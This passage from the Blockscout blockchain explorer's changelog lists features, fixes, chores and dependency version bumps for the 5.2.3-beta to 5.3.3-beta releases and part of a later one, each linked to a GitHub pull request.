preload +- [#9013](https://github.com/blockscout/blockscout/pull/9013) - Speed up `Indexer.Fetcher.TokenInstance.LegacySanitize` +- [#8969](https://github.com/blockscout/blockscout/pull/8969) - Support legacy paging options for address transaction endpoint +- [#8965](https://github.com/blockscout/blockscout/pull/8965) - Set poll: false for internal transactions fetcher +- [#8955](https://github.com/blockscout/blockscout/pull/8955) - Remove daily balances updating from BlockReward fetcher +- [#8846](https://github.com/blockscout/blockscout/pull/8846) - Handle nil gas_price at address view + +### Chore + +- [#9094](https://github.com/blockscout/blockscout/pull/9094) - Improve exchange rates logging +- [#9014](https://github.com/blockscout/blockscout/pull/9014) - Decrease amount of NFT in address collection: 15 -> 9 +- [#8994](https://github.com/blockscout/blockscout/pull/8994) - Refactor transactions event preloads +- [#8991](https://github.com/blockscout/blockscout/pull/8991) - Manage DB queue target via runtime env var + +
+ Dependencies version bumps + +- [#8986](https://github.com/blockscout/blockscout/pull/8986) - Bump chart.js from 4.4.0 to 4.4.1 in /apps/block_scout_web/assets +- [#8982](https://github.com/blockscout/blockscout/pull/8982) - Bump ex_doc from 0.30.9 to 0.31.0 +- [#8987](https://github.com/blockscout/blockscout/pull/8987) - Bump @babel/preset-env from 7.23.5 to 7.23.6 in /apps/block_scout_web/assets +- [#8984](https://github.com/blockscout/blockscout/pull/8984) - Bump ecto_sql from 3.11.0 to 3.11.1 +- [#8988](https://github.com/blockscout/blockscout/pull/8988) - Bump core-js from 3.33.3 to 3.34.0 in /apps/block_scout_web/assets +- [#8980](https://github.com/blockscout/blockscout/pull/8980) - Bump exvcr from 0.14.4 to 0.15.0 +- [#8985](https://github.com/blockscout/blockscout/pull/8985) - Bump @babel/core from 7.23.5 to 7.23.6 in /apps/block_scout_web/assets +- [#9020](https://github.com/blockscout/blockscout/pull/9020) - Bump eslint-plugin-import from 2.29.0 to 2.29.1 in /apps/block_scout_web/assets +- [#9021](https://github.com/blockscout/blockscout/pull/9021) - Bump eslint from 8.55.0 to 8.56.0 in /apps/block_scout_web/assets +- [#9019](https://github.com/blockscout/blockscout/pull/9019) - Bump @amplitude/analytics-browser from 2.3.6 to 2.3.7 in /apps/block_scout_web/assets + +
+ +## 5.3.3-beta + +### Features + +- [#8966](https://github.com/blockscout/blockscout/pull/8966) - Add `ACCOUNT_WATCHLIST_NOTIFICATIONS_LIMIT_FOR_30_DAYS` +- [#8908](https://github.com/blockscout/blockscout/pull/8908) - Solidityscan report API endpoint +- [#8900](https://github.com/blockscout/blockscout/pull/8900) - Add Compound proxy contract pattern +- [#8611](https://github.com/blockscout/blockscout/pull/8611) - Implement sorting of smart contracts, address transactions + +### Fixes + +- [#8959](https://github.com/blockscout/blockscout/pull/8959) - Skip failed instances in Token Instance Owner migrator +- [#8924](https://github.com/blockscout/blockscout/pull/8924) - Delete invalid current token balances in OnDemand fetcher +- [#8922](https://github.com/blockscout/blockscout/pull/8922) - Allow call type to be in lowercase +- [#8917](https://github.com/blockscout/blockscout/pull/8917) - Proxy detection hotfix in API v2 +- [#8915](https://github.com/blockscout/blockscout/pull/8915) - smart-contract: delete embeds_many relation on replace +- [#8906](https://github.com/blockscout/blockscout/pull/8906) - Fix abi encoded string argument +- [#8898](https://github.com/blockscout/blockscout/pull/8898) - Enhance method decoding by candidates from DB +- [#8882](https://github.com/blockscout/blockscout/pull/8882) - Change order of proxy contracts patterns detection: existing popular EIPs to the top of the list +- [#8707](https://github.com/blockscout/blockscout/pull/8707) - Fix native coin exchange rate with `EXCHANGE_RATES_COINGECKO_COIN_ID` + +### Chore + +- [#8956](https://github.com/blockscout/blockscout/pull/8956) - Refine docker-compose config structure +- [#8911](https://github.com/blockscout/blockscout/pull/8911) - Set client_connection_check_interval for main Postgres DB in docker-compose setup + +
+ Dependencies version bumps + +- [#8863](https://github.com/blockscout/blockscout/pull/8863) - Bump core-js from 3.33.2 to 3.33.3 in /apps/block_scout_web/assets +- [#8864](https://github.com/blockscout/blockscout/pull/8864) - Bump @amplitude/analytics-browser from 2.3.3 to 2.3.5 in /apps/block_scout_web/assets +- [#8860](https://github.com/blockscout/blockscout/pull/8860) - Bump ecto_sql from 3.10.2 to 3.11.0 +- [#8896](https://github.com/blockscout/blockscout/pull/8896) - Bump httpoison from 2.2.0 to 2.2.1 +- [#8867](https://github.com/blockscout/blockscout/pull/8867) - Bump mixpanel-browser from 2.47.0 to 2.48.1 in /apps/block_scout_web/assets +- [#8865](https://github.com/blockscout/blockscout/pull/8865) - Bump eslint from 8.53.0 to 8.54.0 in /apps/block_scout_web/assets +- [#8866](https://github.com/blockscout/blockscout/pull/8866) - Bump sweetalert2 from 11.9.0 to 11.10.1 in /apps/block_scout_web/assets +- [#8897](https://github.com/blockscout/blockscout/pull/8897) - Bump prometheus from 4.10.0 to 4.11.0 +- [#8859](https://github.com/blockscout/blockscout/pull/8859) - Bump absinthe from 1.7.5 to 1.7.6 +- [#8858](https://github.com/blockscout/blockscout/pull/8858) - Bump ex_json_schema from 0.10.1 to 0.10.2 +- [#8943](https://github.com/blockscout/blockscout/pull/8943) - Bump postgrex from 0.17.3 to 0.17.4 +- [#8939](https://github.com/blockscout/blockscout/pull/8939) - Bump @babel/core from 7.23.3 to 7.23.5 in /apps/block_scout_web/assets +- [#8936](https://github.com/blockscout/blockscout/pull/8936) - Bump eslint from 8.54.0 to 8.55.0 in /apps/block_scout_web/assets +- [#8940](https://github.com/blockscout/blockscout/pull/8940) - Bump photoswipe from 5.4.2 to 5.4.3 in /apps/block_scout_web/assets +- [#8938](https://github.com/blockscout/blockscout/pull/8938) - Bump @babel/preset-env from 7.23.3 to 7.23.5 in /apps/block_scout_web/assets +- [#8935](https://github.com/blockscout/blockscout/pull/8935) - Bump @amplitude/analytics-browser from 2.3.5 to 2.3.6 in /apps/block_scout_web/assets +- [#8937](https://github.com/blockscout/blockscout/pull/8937) - Bump redux from 4.2.1 to 5.0.0 in /apps/block_scout_web/assets +- [#8942](https://github.com/blockscout/blockscout/pull/8942) - Bump gettext from 0.23.1 to 0.24.0 +- [#8934](https://github.com/blockscout/blockscout/pull/8934) - Bump @fortawesome/fontawesome-free from 6.4.2 to 6.5.1 in /apps/block_scout_web/assets +- [#8933](https://github.com/blockscout/blockscout/pull/8933) - Bump postcss from 8.4.31 to 8.4.32 in /apps/block_scout_web/assets + +
+ +## 5.3.2-beta + +### Features + +- [#8848](https://github.com/blockscout/blockscout/pull/8848) - Add MainPageRealtimeEventHandler +- [#8821](https://github.com/blockscout/blockscout/pull/8821) - Add new events to addresses channel: `eth_bytecode_db_lookup_started` and `smart_contract_was_not_verified` +- [#8795](https://github.com/blockscout/blockscout/pull/8795) - Disable catchup indexer by env +- [#8768](https://github.com/blockscout/blockscout/pull/8768) - Add possibility to search tokens by address hash +- [#8750](https://github.com/blockscout/blockscout/pull/8750) - Support new eth-bytecode-db request metadata fields +- [#8634](https://github.com/blockscout/blockscout/pull/8634) - API v2: NFT for address +- [#8609](https://github.com/blockscout/blockscout/pull/8609) - Change logs format to JSON; Add endpoint url to the block_scout_web logging +- [#8558](https://github.com/blockscout/blockscout/pull/8558) - Add CoinBalanceDailyUpdater + +### Fixes + +- [#8891](https://github.com/blockscout/blockscout/pull/8891) - Fix average block time +- [#8869](https://github.com/blockscout/blockscout/pull/8869) - Limit TokenBalance fetcher timeout +- [#8855](https://github.com/blockscout/blockscout/pull/8855) - All transactions count at top addresses page +- [#8836](https://github.com/blockscout/blockscout/pull/8836) - Safe token update +- [#8814](https://github.com/blockscout/blockscout/pull/8814) - Improve performance for EOA addresses in `/api/v2/addresses/{address_hash}` +- [#8813](https://github.com/blockscout/blockscout/pull/8813) - Force verify twin contracts on `/api/v2/import/smart-contracts/{address_hash}` +- [#8784](https://github.com/blockscout/blockscout/pull/8784) - Fix Indexer.Transform.Addresses for non-Suave setup +- [#8770](https://github.com/blockscout/blockscout/pull/8770) - Fix for eth_getbalance API v1 endpoint when requesting latest tag +- [#8765](https://github.com/blockscout/blockscout/pull/8765) - Fix for tvl update in market history when row already exists +- [#8759](https://github.com/blockscout/blockscout/pull/8759) - Gnosis safe proxy via singleton input +- [#8752](https://github.com/blockscout/blockscout/pull/8752) - Add `TOKEN_INSTANCE_OWNER_MIGRATION_ENABLED` env +- [#8724](https://github.com/blockscout/blockscout/pull/8724) - Fix flaky account notifier test + +### Chore + +- [#8832](https://github.com/blockscout/blockscout/pull/8832) - Log more details in regards 413 error +- [#8807](https://github.com/blockscout/blockscout/pull/8807) - Smart-contract proxy detection refactoring +- [#8802](https://github.com/blockscout/blockscout/pull/8802) - Enable API v2 by default +- [#8742](https://github.com/blockscout/blockscout/pull/8742) - Merge rsk branch into the master branch +- [#8728](https://github.com/blockscout/blockscout/pull/8728) - Remove repos_list (default value for ecto repos) from Explorer.ReleaseTasks + +
+ Dependencies version bumps + +- [#8727](https://github.com/blockscout/blockscout/pull/8727) - Bump browserify-sign from 4.2.1 to 4.2.2 in /apps/block_scout_web/assets +- [#8748](https://github.com/blockscout/blockscout/pull/8748) - Bump sweetalert2 from 11.7.32 to 11.9.0 in /apps/block_scout_web/assets +- [#8747](https://github.com/blockscout/blockscout/pull/8747) - Bump core-js from 3.33.1 to 3.33.2 in /apps/block_scout_web/assets +- [#8743](https://github.com/blockscout/blockscout/pull/8743) - Bump solc from 0.8.21 to 0.8.22 in /apps/explorer +- [#8745](https://github.com/blockscout/blockscout/pull/8745) - Bump tesla from 1.7.0 to 1.8.0 +- [#8749](https://github.com/blockscout/blockscout/pull/8749) - Bump sass from 1.69.4 to 1.69.5 in /apps/block_scout_web/assets +- [#8744](https://github.com/blockscout/blockscout/pull/8744) - Bump phoenix_ecto from 4.4.2 to 4.4.3 +- [#8746](https://github.com/blockscout/blockscout/pull/8746) - Bump floki from 0.35.1 to 0.35.2 +- [#8793](https://github.com/blockscout/blockscout/pull/8793) - Bump eslint from 8.52.0 to 8.53.0 in /apps/block_scout_web/assets +- [#8792](https://github.com/blockscout/blockscout/pull/8792) - Bump cldr_utils from 2.24.1 to 2.24.2 +- [#8787](https://github.com/blockscout/blockscout/pull/8787) - Bump ex_cldr_numbers from 2.32.2 to 2.32.3 +- [#8790](https://github.com/blockscout/blockscout/pull/8790) - Bump ex_abi from 0.6.3 to 0.6.4 +- [#8788](https://github.com/blockscout/blockscout/pull/8788) - Bump ex_cldr_units from 3.16.3 to 3.16.4 +- [#8827](https://github.com/blockscout/blockscout/pull/8827) - Bump @babel/core from 7.23.2 to 7.23.3 in /apps/block_scout_web/assets +- [#8823](https://github.com/blockscout/blockscout/pull/8823) - Bump benchee from 1.1.0 to 1.2.0 +- [#8826](https://github.com/blockscout/blockscout/pull/8826) - Bump luxon from 3.4.3 to 3.4.4 in /apps/block_scout_web/assets +- [#8824](https://github.com/blockscout/blockscout/pull/8824) - Bump httpoison from 2.1.0 to 2.2.0 +- [#8828](https://github.com/blockscout/blockscout/pull/8828) - Bump @babel/preset-env from 7.23.2 to 7.23.3 in /apps/block_scout_web/assets +- [#8825](https://github.com/blockscout/blockscout/pull/8825) - Bump solc from 0.8.22 to 0.8.23 in /apps/explorer + +
+ +## 5.3.1-beta + +### Features + +- [#8717](https://github.com/blockscout/blockscout/pull/8717) - Save GasPriceOracle old prices as a fallback +- [#8696](https://github.com/blockscout/blockscout/pull/8696) - Support tokenSymbol and tokenName in `/api/v2/import/token-info` +- [#8673](https://github.com/blockscout/blockscout/pull/8673) - Add a window for balances fetching from non-archive node +- [#8651](https://github.com/blockscout/blockscout/pull/8651) - Add `stability_fee` for CHAIN_TYPE=stability +- [#8556](https://github.com/blockscout/blockscout/pull/8556) - Suave functional +- [#8528](https://github.com/blockscout/blockscout/pull/8528) - Account: add pagination + envs for limits +- [#7584](https://github.com/blockscout/blockscout/pull/7584) - Add Polygon zkEVM batches fetcher + +### Fixes + +- [#8714](https://github.com/blockscout/blockscout/pull/8714) - Fix sourcify check +- [#8708](https://github.com/blockscout/blockscout/pull/8708) - CoinBalanceHistory tab: show also tx with gasPrice & gasUsed > 0 +- [#8706](https://github.com/blockscout/blockscout/pull/8706) - Add address name updating on contract re-verification +- [#8705](https://github.com/blockscout/blockscout/pull/8705) - Fix sourcify enabled flag +- [#8695](https://github.com/blockscout/blockscout/pull/8695), [#8755](https://github.com/blockscout/blockscout/pull/8755) - Don't override internal transaction error if it's present already +- [#8685](https://github.com/blockscout/blockscout/pull/8685) - Fix db pool size exceeds Postgres max connections +- [#8678](https://github.com/blockscout/blockscout/pull/8678) - Fix `is_verified` for `/addresses` and `/smart-contracts` + +### Chore + +- [#8715](https://github.com/blockscout/blockscout/pull/8715) - Rename `wrapped` field to `requestRecord` for Suave + +
+ Dependencies version bumps + +- [#8683](https://github.com/blockscout/blockscout/pull/8683) - Bump eslint from 8.51.0 to 8.52.0 in /apps/block_scout_web/assets +- [#8689](https://github.com/blockscout/blockscout/pull/8689) - Bump ex_abi from 0.6.2 to 0.6.3 +- [#8682](https://github.com/blockscout/blockscout/pull/8682) - Bump core-js from 3.33.0 to 3.33.1 in /apps/block_scout_web/assets +- [#8680](https://github.com/blockscout/blockscout/pull/8680) - Bump web3 from 1.10.2 to 1.10.3 in /apps/block_scout_web/assets +- [#8681](https://github.com/blockscout/blockscout/pull/8681) - Bump eslint-plugin-import from 2.28.1 to 2.29.0 in /apps/block_scout_web/assets +- [#8684](https://github.com/blockscout/blockscout/pull/8684) - Bump @amplitude/analytics-browser from 2.3.2 to 2.3.3 in /apps/block_scout_web/assets +- [#8679](https://github.com/blockscout/blockscout/pull/8679) - Bump sass from 1.69.3 to 1.69.4 in /apps/block_scout_web/assets +- [#8687](https://github.com/blockscout/blockscout/pull/8687) - Bump floki from 0.35.0 to 0.35.1 +- [#8693](https://github.com/blockscout/blockscout/pull/8693) - Bump redix from 1.2.3 to 1.3.0 +- [#8688](https://github.com/blockscout/blockscout/pull/8688) - Bump ex_doc from 0.30.7 to 0.30.9 + +
+ +## 5.3.0-beta + +### Features + +- [#8512](https://github.com/blockscout/blockscout/pull/8512) - Add caching and improve `/tabs-counters` performance +- [#8472](https://github.com/blockscout/blockscout/pull/8472) - Integrate `/api/v2/bytecodes/sources:search-all` of `eth_bytecode_db` +- [#8589](https://github.com/blockscout/blockscout/pull/8589) - DefiLlama TVL source +- [#8544](https://github.com/blockscout/blockscout/pull/8544) - Fix `nil` `"structLogs"` +- [#8583](https://github.com/blockscout/blockscout/pull/8583) - Add stats widget for rootstock +- [#8542](https://github.com/blockscout/blockscout/pull/8542) - Add tracing for rootstock +- [#8561](https://github.com/blockscout/blockscout/pull/8561), [#8564](https://github.com/blockscout/blockscout/pull/8564) - Get historical market cap data from CoinGecko +- [#8543](https://github.com/blockscout/blockscout/pull/8543) - Fix polygon tracer +- [#8386](https://github.com/blockscout/blockscout/pull/8386) - Add `owner_address_hash` to the `token_instances` +- [#8530](https://github.com/blockscout/blockscout/pull/8530) - Add `block_type` to search results +- [#8180](https://github.com/blockscout/blockscout/pull/8180) - Deposits and Withdrawals for Polygon Edge +- [#7996](https://github.com/blockscout/blockscout/pull/7996) - Add CoinBalance fetcher init query limit +- [#8658](https://github.com/blockscout/blockscout/pull/8658) - Remove block consensus on import fail +- [#8575](https://github.com/blockscout/blockscout/pull/8575) - Filter token transfers on coin balances updates + +### Fixes + +- [#8661](https://github.com/blockscout/blockscout/pull/8661) - arm64-compatible docker image +- [#8649](https://github.com/blockscout/blockscout/pull/8649) - Set max 30sec JSON RPC poll frequency for realtime fetcher when WS is disabled +- [#8614](https://github.com/blockscout/blockscout/pull/8614) - Disable market history cataloger fetcher when exchange rates are disabled +- [#8613](https://github.com/blockscout/blockscout/pull/8613) - Refactor parsing of FIRST_BLOCK, LAST_BLOCK, TRACE_FIRST_BLOCK, TRACE_LAST_BLOCK env variables +- [#8572](https://github.com/blockscout/blockscout/pull/8572) - Refactor docker-compose config +- [#8552](https://github.com/blockscout/blockscout/pull/8552) - Add CHAIN_TYPE build arg to Dockerfile +- [#8550](https://github.com/blockscout/blockscout/pull/8550) - Sanitize paging params +- [#8515](https://github.com/blockscout/blockscout/pull/8515) - Fix `:error.types/0 is undefined` warning +- [#7959](https://github.com/blockscout/blockscout/pull/7959) - Fix empty batch transfers handling +- [#8513](https://github.com/blockscout/blockscout/pull/8513) - Don't override transaction status +- [#8620](https://github.com/blockscout/blockscout/pull/8620) - Fix the display of icons +- [#8594](https://github.com/blockscout/blockscout/pull/8594) - Fix TokenBalance fetcher retry logic + +### Chore + +- [#8584](https://github.com/blockscout/blockscout/pull/8584) - Store chain together with cookie hash in Redis +- [#8579](https://github.com/blockscout/blockscout/pull/8579), [#8590](https://github.com/blockscout/blockscout/pull/8590) - IPFS gateway URL runtime env variable +- [#8573](https://github.com/blockscout/blockscout/pull/8573) - Update Nginx to proxy all frontend paths +- [#8290](https://github.com/blockscout/blockscout/pull/8290) - Update Chromedriver version +- [#8536](https://github.com/blockscout/blockscout/pull/8536), [#8537](https://github.com/blockscout/blockscout/pull/8537), [#8540](https://github.com/blockscout/blockscout/pull/8540), [#8557](https://github.com/blockscout/blockscout/pull/8557) - New issue template +- [#8529](https://github.com/blockscout/blockscout/pull/8529) - Move PolygonEdge-related migration to the corresponding ecto repository +- [#8504](https://github.com/blockscout/blockscout/pull/8504) - Deploy new UI through Makefile +- [#8501](https://github.com/blockscout/blockscout/pull/8501) - Conceal secondary ports in docker compose setup + +
+ Dependencies version bumps + +- [#8508](https://github.com/blockscout/blockscout/pull/8508) - Bump sass from 1.67.0 to 1.68.0 in /apps/block_scout_web/assets +- [#8509](https://github.com/blockscout/blockscout/pull/8509) - Bump autoprefixer from 10.4.15 to 10.4.16 in /apps/block_scout_web/assets +- [#8511](https://github.com/blockscout/blockscout/pull/8511) - Bump mox from 1.0.2 to 1.1.0 +- [#8532](https://github.com/blockscout/blockscout/pull/8532) - Bump eslint from 8.49.0 to 8.50.0 in /apps/block_scout_web/assets +- [#8533](https://github.com/blockscout/blockscout/pull/8533) - Bump sweetalert2 from 11.7.28 to 11.7.29 in /apps/block_scout_web/assets +- [#8531](https://github.com/blockscout/blockscout/pull/8531) - Bump ex_cldr_units from 3.16.2 to 3.16.3 +- [#8534](https://github.com/blockscout/blockscout/pull/8534) - Bump @babel/core from 7.22.20 to 7.23.0 in /apps/block_scout_web/assets +- [#8546](https://github.com/blockscout/blockscout/pull/8546) - Bump sweetalert2 from 11.7.29 to 11.7.31 in /apps/block_scout_web/assets +- [#8553](https://github.com/blockscout/blockscout/pull/8553) - Bump @amplitude/analytics-browser from 2.3.1 to 2.3.2 in /apps/block_scout_web/assets +- [#8554](https://github.com/blockscout/blockscout/pull/8554) - https://github.com/blockscout/blockscout/pull/8554 +- [#8547](https://github.com/blockscout/blockscout/pull/8547) - Bump briefly from 678a376 to 51dfe7f +- [#8567](https://github.com/blockscout/blockscout/pull/8567) - Bump photoswipe from 5.4.1 to 5.4.2 in /apps/block_scout_web/assets +- [#8566](https://github.com/blockscout/blockscout/pull/8566) - Bump postcss from 8.4.30 to 8.4.31 in /apps/block_scout_web/assets +- [#7575](https://github.com/blockscout/blockscout/pull/7575) - Bump css-loader from 5.2.7 to 6.8.1 in /apps/block_scout_web/assets +- [#8569](https://github.com/blockscout/blockscout/pull/8569) - Bump web3 from 1.10.0 to 1.10.2 in /apps/block_scout_web/assets +- [#8570](https://github.com/blockscout/blockscout/pull/8570) - Bump core-js from 3.32.2 to 3.33.0 in /apps/block_scout_web/assets +- [#8581](https://github.com/blockscout/blockscout/pull/8581) - Bump credo from 1.7.0 to 1.7.1 +- [#8607](https://github.com/blockscout/blockscout/pull/8607) - Bump sass from 1.68.0 to 1.69.0 in /apps/block_scout_web/assets +- [#8606](https://github.com/blockscout/blockscout/pull/8606) - Bump highlight.js from 11.8.0 to 11.9.0 in /apps/block_scout_web/assets +- [#8605](https://github.com/blockscout/blockscout/pull/8605) - Bump eslint from 8.50.0 to 8.51.0 in /apps/block_scout_web/assets +- [#8608](https://github.com/blockscout/blockscout/pull/8608) - Bump sweetalert2 from 11.7.31 to 11.7.32 in /apps/block_scout_web/assets +- [#8510](https://github.com/blockscout/blockscout/pull/8510) - Bump hackney from 1.18.1 to 1.19.1 +- [#8637](https://github.com/blockscout/blockscout/pull/8637) - Bump @babel/preset-env from 7.22.20 to 7.23.2 in /apps/block_scout_web/assets +- [#8639](https://github.com/blockscout/blockscout/pull/8639) - Bump sass from 1.69.0 to 1.69.3 in /apps/block_scout_web/assets +- [#8643](https://github.com/blockscout/blockscout/pull/8643) - Bump floki from 0.34.3 to 0.35.0 +- [#8641](https://github.com/blockscout/blockscout/pull/8641) - Bump ex_cldr from 2.37.2 to 2.37.4 +- [#8646](https://github.com/blockscout/blockscout/pull/8646) - Bump @babel/traverse from 7.23.0 to 7.23.2 in /apps/block_scout_web/assets +- [#8636](https://github.com/blockscout/blockscout/pull/8636) - Bump @babel/core from 7.23.0 to 7.23.2 in /apps/block_scout_web/assets +- [#8645](https://github.com/blockscout/blockscout/pull/8645) - Bump ex_doc from 0.30.6 to 0.30.7 +- [#8638](https://github.com/blockscout/blockscout/pull/8638) - Bump webpack from 5.88.2 to 5.89.0 in /apps/block_scout_web/assets +- [#8640](https://github.com/blockscout/blockscout/pull/8640) - Bump hackney from 1.19.1 to 1.20.1 + +
+ +## 5.2.3-beta + +### Features + +- [#8382](https://github.com/blockscout/blockscout/pull/8382) - Add sitemap.xml +- [#8313](https://github.com/blockscout/blockscout/pull/8313) - Add batches to TokenInstance fetchers +- [#8285](https://github.com/blockscout/blockscout/pull/8285), [#8399](https://github.com/blockscout/blockscout/pull/8399) - Add CG/CMC coin price sources +- [#8181](https://github.com/blockscout/blockscout/pull/8181) - Insert current token balances placeholders along with historical +- [#8210](https://github.com/blockscout/blockscout/pull/8210) - Drop address foreign keys +- [#8292](https://github.com/blockscout/blockscout/pull/8292) - Add ETHEREUM_JSONRPC_WAIT_PER_TIMEOUT env var +- [#8269](https://github.com/blockscout/blockscout/pull/8269) - Don't push back to sequence on catchup exception +- [#8362](https://github.com/blockscout/blockscout/pull/8362), [#8398](https://github.com/blockscout/blockscout/pull/8398) - Drop token balances tokens foreign key + +### Fixes + +- [#8446](https://github.com/blockscout/blockscout/pull/8446) - Fix market cap calculation in case of CMC +- [#8431](https://github.com/blockscout/blockscout/pull/8431) - Fix contracts' output decoding +- [#8354](https://github.com/blockscout/blockscout/pull/8354) - Hotfix for proper addresses' tokens displaying +- [#8350](https://github.com/blockscout/blockscout/pull/8350) - Add Base Mainnet support for tx actions +- [#8282](https://github.com/blockscout/blockscout/pull/8282) - NFT fetcher improvements +- [#8287](https://github.com/blockscout/blockscout/pull/8287) - Add separate hackney pool for TokenInstance fetchers +- [#8293](https://github.com/blockscout/blockscout/pull/8293) - Add ETHEREUM_JSONRPC_TRACE_URL for Geth in docker-compose.yml +- [#8240](https://github.com/blockscout/blockscout/pull/8240) - Refactor and fix paging params in API v2 +- [#8242](https://github.com/blockscout/blockscout/pull/8242) - Fixing visualizer service CORS issue when running docker-compose +- [#8355](https://github.com/blockscout/blockscout/pull/8355) - Fix current token balances redefining +- [#8338](https://github.com/blockscout/blockscout/pull/8338) - Fix reorgs query +- [#8413](https://github.com/blockscout/blockscout/pull/8413) - Put error in last call for STOP opcode +- [#8447](https://github.com/blockscout/blockscout/pull/8447) - Fix reorg transactions + +### Chore + +- [#8494](https://github.com/blockscout/blockscout/pull/8494) - Add release announcement in Slack +- [#8493](https://github.com/blockscout/blockscout/pull/8493) - Fix arm docker image build +- [#8478](https://github.com/blockscout/blockscout/pull/8478) - Set integration with Blockscout's eth bytecode DB endpoint by default and other enhancements +- [#8442](https://github.com/blockscout/blockscout/pull/8442) - Unify burn address definition +- [#8321](https://github.com/blockscout/blockscout/pull/8321) - Add curl into resulting Docker image +- [#8319](https://github.com/blockscout/blockscout/pull/8319) - Add MIX_ENV: 'prod' to docker-compose +- [#8281](https://github.com/blockscout/blockscout/pull/8281) - Planned removal of duplicate API endpoints: for CSV export and GraphQL + +
+ Dependencies version bumps + +- [#8244](https://github.com/blockscout/blockscout/pull/8244) - Bump core-js from 3.32.0 to 3.32.1 in /apps/block_scout_web/assets +- [#8243](https://github.com/blockscout/blockscout/pull/8243) - Bump sass from 1.65.1 to 1.66.0 in /apps/block_scout_web/assets +- [#8259](https://github.com/blockscout/blockscout/pull/8259) - Bump sweetalert2 from 11.7.23 to 11.7.27 in /apps/block_scout_web/assets +- [#8258](https://github.com/blockscout/blockscout/pull/8258) - Bump sass from 1.66.0 to 1.66.1 in /apps/block_scout_web/assets +- [#8260](https://github.com/blockscout/blockscout/pull/8260) - Bump jest from 29.6.2 to 29.6.3 in /apps/block_scout_web/assets +- [#8261](https://github.com/blockscout/blockscout/pull/8261) - Bump eslint-plugin-import from 2.28.0 to 2.28.1 in /apps/block_scout_web/assets +- [#8262](https://github.com/blockscout/blockscout/pull/8262) - Bump jest-environment-jsdom from 29.6.2 to 29.6.3 in /apps/block_scout_web/assets +- [#8275](https://github.com/blockscout/blockscout/pull/8275) - Bump ecto_sql from 3.10.1 to 3.10.2 +- [#8284](https://github.com/blockscout/blockscout/pull/8284) - Bump luxon from 3.4.0 to 3.4.1 in /apps/block_scout_web/assets +- [#8294](https://github.com/blockscout/blockscout/pull/8294) - Bump chart.js from 4.3.3 to 4.4.0 in /apps/block_scout_web/assets +- [#8295](https://github.com/blockscout/blockscout/pull/8295) - Bump jest from 29.6.3 to 29.6.4 in /apps/block_scout_web/assets +- [#8296](https://github.com/blockscout/blockscout/pull/8296) - Bump jest-environment-jsdom from 29.6.3 to 29.6.4 in /apps/block_scout_web/assets +- [#8297](https://github.com/blockscout/blockscout/pull/8297) - Bump @babel/core from 7.22.10 to 7.22.11 in /apps/block_scout_web/assets +- [#8305](https://github.com/blockscout/blockscout/pull/8305) - Bump @amplitude/analytics-browser from 2.2.0 to 2.2.1 in /apps/block_scout_web/assets +- [#8342](https://github.com/blockscout/blockscout/pull/8342) - Bump postgrex from 0.17.2 to 0.17.3 +- [#8341](https://github.com/blockscout/blockscout/pull/8341) - Bump hackney from 1.18.1 to 1.18.2 +- [#8343](https://github.com/blockscout/blockscout/pull/8343) - Bump @amplitude/analytics-browser from 2.2.1 to 2.2.2 in /apps/block_scout_web/assets +- [#8344](https://github.com/blockscout/blockscout/pull/8344) - Bump postcss from 8.4.28 to 8.4.29 in /apps/block_scout_web/assets +- [#8330](https://github.com/blockscout/blockscout/pull/8330) - Bump bignumber.js from 9.1.1 to 9.1.2 in /apps/block_scout_web/assets +- [#8332](https://github.com/blockscout/blockscout/pull/8332) - Bump jquery from 3.7.0 to 3.7.1 in /apps/block_scout_web/assets +- [#8329](https://github.com/blockscout/blockscout/pull/8329) - Bump viewerjs from 1.11.4 to 1.11.5 in /apps/block_scout_web/assets +- [#8328](https://github.com/blockscout/blockscout/pull/8328) - Bump eslint from 8.47.0 to 8.48.0 in /apps/block_scout_web/assets +- [#8325](https://github.com/blockscout/blockscout/pull/8325) - Bump exvcr from 0.14.3 to 0.14.4 +- [#8323](https://github.com/blockscout/blockscout/pull/8323) - Bump ex_doc from 0.30.5 to 0.30.6 +- [#8322](https://github.com/blockscout/blockscout/pull/8322) - Bump dialyxir from 1.3.0 to 1.4.0 +- [#8326](https://github.com/blockscout/blockscout/pull/8326) - Bump comeonin from 5.3.3 to 5.4.0 +- [#8331](https://github.com/blockscout/blockscout/pull/8331) - Bump luxon from 3.4.1 to 3.4.2 in /apps/block_scout_web/assets +- [#8324](https://github.com/blockscout/blockscout/pull/8324) - Bump spandex_datadog from 1.3.0 to 1.4.0 +- [#8327](https://github.com/blockscout/blockscout/pull/8327) - Bump bcrypt_elixir from 3.0.1 to 3.1.0 +- [#8358](https://github.com/blockscout/blockscout/pull/8358) - Bump @babel/preset-env from 7.22.10 to 7.22.14 in /apps/block_scout_web/assets +- [#8365](https://github.com/blockscout/blockscout/pull/8365) - Bump dialyxir from 1.4.0 to 1.4.1 +- [#8374](https://github.com/blockscout/blockscout/pull/8374) - Bump @amplitude/analytics-browser from 2.2.2 to 2.2.3 in /apps/block_scout_web/assets +- [#8373](https://github.com/blockscout/blockscout/pull/8373) - Bump ex_secp256k1 from 0.7.0 to 0.7.1 +- [#8391](https://github.com/blockscout/blockscout/pull/8391) - Bump @babel/preset-env from 7.22.14 to 7.22.15 in /apps/block_scout_web/assets +- [#8390](https://github.com/blockscout/blockscout/pull/8390) - Bump photoswipe from 5.3.8 to 5.3.9 in /apps/block_scout_web/assets +- [#8389](https://github.com/blockscout/blockscout/pull/8389) - Bump @babel/core from 7.22.11 to 7.22.15 in /apps/block_scout_web/assets +- [#8392](https://github.com/blockscout/blockscout/pull/8392) - Bump ex_cldr_numbers from 2.31.3 to 2.32.0 +- [#8400](https://github.com/blockscout/blockscout/pull/8400) - Bump ex_secp256k1 from 0.7.1 to 0.7.2 +- [#8405](https://github.com/blockscout/blockscout/pull/8405) - Bump luxon from 3.4.2 to 3.4.3 in /apps/block_scout_web/assets +- [#8404](https://github.com/blockscout/blockscout/pull/8404) - Bump ex_abi from 0.6.0 to 0.6.1 +- [#8410](https://github.com/blockscout/blockscout/pull/8410) - Bump core-js from 3.32.1 to 3.32.2 in /apps/block_scout_web/assets +- [#8418](https://github.com/blockscout/blockscout/pull/8418) - Bump url from 0.11.1 to 0.11.2 in /apps/block_scout_web/assets +- [#8416](https://github.com/blockscout/blockscout/pull/8416) - Bump @babel/core from 7.22.15 to 7.22.17 in /apps/block_scout_web/assets +- [#8419](https://github.com/blockscout/blockscout/pull/8419) - Bump assert from 2.0.0 to 2.1.0 in /apps/block_scout_web/assets +- [#8417](https://github.com/blockscout/blockscout/pull/8417) - Bump photoswipe from 5.3.9 to 5.4.0 in /apps/block_scout_web/assets 